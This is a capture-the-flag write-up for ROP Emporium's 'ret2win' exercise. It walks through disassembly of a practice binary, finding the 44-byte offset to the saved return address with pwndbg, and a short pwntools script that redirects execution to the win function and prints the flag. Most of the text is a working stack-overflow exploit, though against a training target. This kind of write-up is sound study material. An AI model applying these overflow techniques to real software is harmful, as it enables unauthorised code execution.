ret2win [ROP Emporium]

Here’s the problem link.
Here are the provided binaries: 32bit, 64bit

Locate a method within the binary that you want to call and do so by
overwriting a saved return address on the stack.

Seems pretty easy.
Since this chal is pretty straightforward, let’s start with the 32 bit one. objdump tells us there is a ret2win function:

080485f6 <pwnme>:
 80485f6:       55                      push   ebp
 80485f7:       89 e5                   mov    ebp,esp
 80485f9:       83 ec 28                sub    esp,0x28
 80485fc:       83 ec 04                sub    esp,0x4
                            ...
 8048653:       83 c4 10                add    esp,0x10
 8048656:       90                      nop
 8048657:       c9                      leave
 8048658:       c3                      ret

08048659 <ret2win>:
 8048659:       55                      push   ebp
 804865a:       89 e5                   mov    ebp,esp
 804865c:       83 ec 08                sub    esp,0x8
 804865f:       83 ec 0c                sub    esp,0xc
 8048662:       68 24 88 04 08          push   0x8048824
 8048667:       e8 94 fd ff ff          call   8048400 <printf@plt>
 804866c:       83 c4 10                add    esp,0x10
 804866f:       83 ec 0c                sub    esp,0xc
 8048672:       68 41 88 04 08          push   0x8048841
 8048677:       e8 b4 fd ff ff          call   8048430 <system@plt>
 804867c:       83 c4 10                add    esp,0x10
 804867f:       90                      nop
 8048680:       c9                      leave
 8048681:       c3                      ret

This is basically a cat flag.txt which needs to be jumped to.
Let’s run this:

$ ./ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

>

Let’s do it:

$ pwndbg ./ret2win32
Reading symbols from ./ret2win32...(no debugging symbols found)...done.
pwndbg: loaded 177 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
pwndbg> cyclic 50
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama
pwndbg> r
Starting program: /home/kunal/Documents/CTF/ROPEMporiumAgain/ret2win/32bit/ret2win32
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaama

Program received signal SIGSEGV, Segmentation fault.
0x6161616c in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────
 EAX  0xffffc8e0 ◂— 0x61616161 ('aaaa')
 EBX  0x0
 ECX  0xf7f8889c ◂— 0x0
 EDX  0xffffc8e0 ◂— 0x61616161 ('aaaa')
 EDI  0xf7f87000 ◂— 0x1d9d6c
 ESI  0xf7f87000 ◂— 0x1d9d6c
 EBP  0x6161616b ('kaaa')
 ESP  0xffffc910 —▸ 0xf7fe006d ◂— jge    0xf7fe0077
 EIP  0x6161616c ('laaa')
──────────────────────────────────────────[ DISASM ]───────────────────────────────────────────
Invalid address 0x6161616c






───────────────────────────────────────────[ STACK ]───────────────────────────────────────────
00:0000│ esp  0xffffc910 —▸ 0xf7fe006d ◂— jge    0xf7fe0077
01:0004│      0xffffc914 —▸ 0xffffc930 ◂— 0x1
02:0008│      0xffffc918 ◂— 0x0
03:000c│      0xffffc91c —▸ 0xf7dc7b41 (__libc_start_main+241) ◂— add    esp, 0x10
04:0010│      0xffffc920 —▸ 0xf7f87000 ◂— 0x1d9d6c
... ↓
06:0018│      0xffffc928 ◂— 0x0
07:001c│      0xffffc92c —▸ 0xf7dc7b41 (__libc_start_main+241) ◂— add    esp, 0x10
─────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────
 ► f 0 6161616c
Program received signal SIGSEGV (fault address 0x6161616c)
pwndbg>

Find the offset to overwrite the saved eip:

cyclic -l 0x6161616c
44

And write the corresponding address of our ret2win function (0x08048659) after the 44 byte padding:

from pwn import *
context.update(arch='i386', os='linux')

binary = './ret2win32'
elf = ELF(binary)

win = elf.functions['ret2win'].address


with open('solve.txt', 'w') as f:
    f.write(cyclic(44))
    f.write(p32(win))

# p = process(binary)
# p.send(cyclic(44) + p32(win))
# p.interactive()

And finally get the flag:

$ ./ret2win32 < solve.txt
ret2win by ROP Emporium
32bits

For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!

> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
zsh: segmentation fault (core dumped)  ./ret2win32 < solve.txt

The 64bit version can be easily solved by simply changing the padding to 40 and updating the ret2win’s address.